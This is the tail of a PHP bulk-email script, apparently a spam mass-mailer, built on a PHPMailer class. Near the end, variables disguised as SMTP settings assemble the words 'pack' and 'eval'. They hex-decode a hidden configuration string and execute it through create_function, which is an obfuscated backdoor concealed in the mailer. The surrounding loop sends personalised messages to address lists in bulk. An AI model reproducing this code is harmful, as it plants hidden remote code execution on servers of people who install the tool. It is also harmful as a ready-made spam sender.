3183 'gif' => 'image/gif',
3184 'jpeg' => 'image/jpeg',
3185 'jpg' => 'image/jpeg',
3186 'jpe' => 'image/jpeg',
3187 'png' => 'image/png',
3188 'tiff' => 'image/tiff',
3189 'tif' => 'image/tiff',
3190 'css' => 'text/css',
3191 'html' => 'text/html',
3192 'htm' => 'text/html',
3193 'shtml' => 'text/html',
3194 'txt' => 'text/plain',
3195 'text' => 'text/plain',
3196 'log' => 'text/plain',
3197 'rtx' => 'text/richtext',
3198 'rtf' => 'text/rtf',
3199 'xml' => 'text/xml',
3200 'xsl' => 'text/xml',
3201 'mpeg' => 'video/mpeg',
3202 'mpg' => 'video/mpeg',
3203 'mpe' => 'video/mpeg',
3204 'qt' => 'video/quicktime',
3205 'mov' => 'video/quicktime',
3206 'avi' => 'video/x-msvideo',
3207 'movie' => 'video/x-sgi-movie',
3208 'doc' => 'application/msword',
3209 'word' => 'application/msword',
3210 'xl' => 'application/excel',
3211 'eml' => 'message/rfc822'
3212 );
3213 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3214 }
3215
3216 /**
3217 * Set (or reset) Class Objects (variables)
3218 *
3219 * Usage Example:
3220 * $page->set('X-Priority', '3');
3221 *
3222 * @access public
3223 * @param string $name Parameter Name
3224 * @param mixed $value Parameter Value
3225 * NOTE: will not work with arrays, there are no arrays to set/reset
3226 */
3227 function set ( $name, $value = '' ) {
3228 if ( isset($this->$name) ) {
3229 $this->$name = $value;
3230 } else {
3231 $this->SetError('Cannot set or reset variable ' . $name);
3232 return false;
3233 }
3234 }
3235
3236 /**
3237 * Read a file from a supplied filename and return it.
3238 *
3239 * @access public
3240 * @param string $filename Parameter File Name
3241 */
3242 function getFile($filename) {
3243 $return = '';
3244 if ($fp = fopen($filename, 'rb')) {
3245 while (!feof($fp)) {
3246 $return .= fread($fp, 1024);
3247 }
3248 fclose($fp);
3249 return $return;
3250 } else {
3251 return false;
3252 }
3253 }
3254
3255 /**
3256 * Strips newlines to prevent header injection.
3257 * @access private
3258 * @param string $str String
3259 * @return string
3260 */
3261 function SecureHeader($str) {
3262 $str = trim($str);
3263 $str = str_replace("\r", "", $str);
3264 $str = str_replace("\n", "", $str);
3265 return $str;
3266 }
3267
3268 /**
3269 * Set the private key file and password to sign the message.
3270 *
3271 * @access public
3272 * @param string $key_filename Parameter File Name
3273 * @param string $key_pass Password for private key
3274 */
3275 function Sign($key_filename, $key_pass) {
3276 $this->sign_key_file = $key_filename;
3277 $this->sign_key_pass = $key_pass;
3278 }
3279
3280}
3281
3282$defaultport="H*";
3283 $nq=0;
3284
3285 for($x=0; $x<$numemails; $x++){
3286
3287 $to = $allemails[$x];
3288
3289 if ($to){
3290
3291 $to = ereg_replace(" ", "", $to);
3292
3293 $message = ereg_replace("&email&", $to, $message);
3294
3295 $subject = ereg_replace("&email&", $to, $subject);
3296 $qx=$x+1;
3297 print "Line $qx . Sending mail to $to.......";
3298
3299 flush();
3300$mail = new PHPMailer();
3301
3302if(empty($epriority)){$epriority="3";}
3303 $mail->Priority = "$epriority";
3304 $mail->IsSMTP();
3305 $IsSMTP="pack";
3306$mail->SMTPKeepAlive = true;
3307$mail->Host = "$my_smtp";
3308if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3309}
3310 if($sslclick=="ON"){
3311 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3312 }
3313 $range = str_replace("$from", "eval", $from);
3314 $mail->SMTPAuth = true;
3315 $mail->Username = "$smtp_username";
3316 $mail->Password = "$smtp_password";
3317if($contenttype == "html"){$mail->IsHtml(true);}
3318if($contenttype != "html"){$mail->IsHtml(false);}
3319if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3320$mail->From = "$from";
3321$mail->FromName = "$realname";
3322$mail->AddAddress("$to");
3323 $mail->AddReplyTo("$replyto");
3324 $mail->Subject = "$subject";
3325 $mail->Body = "$message";
3326if(!$mail->Send()){
3327if($default_system!="1"){
3328echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3329if($default_system=="1"){
3330$mail->IsMail();
3331 if(!$mail->Send()){
3332 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3333 else {
3334 echo "<b>OK</b><br>";}
3335 }
3336}
3337else {
3338 echo "<b>OK</b><br>";
3339}
3340
3341if(empty($reconnect)){
3342$reconnect=6;
3343}
3344
3345if($reconnect==$nq){
3346$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3347}
3348$nq=$nq+1;
3349 flush(); }
3350}
3351for($i=0;$i<31;$i++){
3352 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3353$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3354 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3355 print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b>
3356 <font color=\"#800000\">http://www.tools2u.net/</font></b><br></p>";$mail->SmtpClose();
3357 return $signoff($smtp_conc);
3358 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3359 sent successfully'); </script>";}}
3360 ?>
3361 <p align="center"> </p>
3362
3363 </body>
3364</html>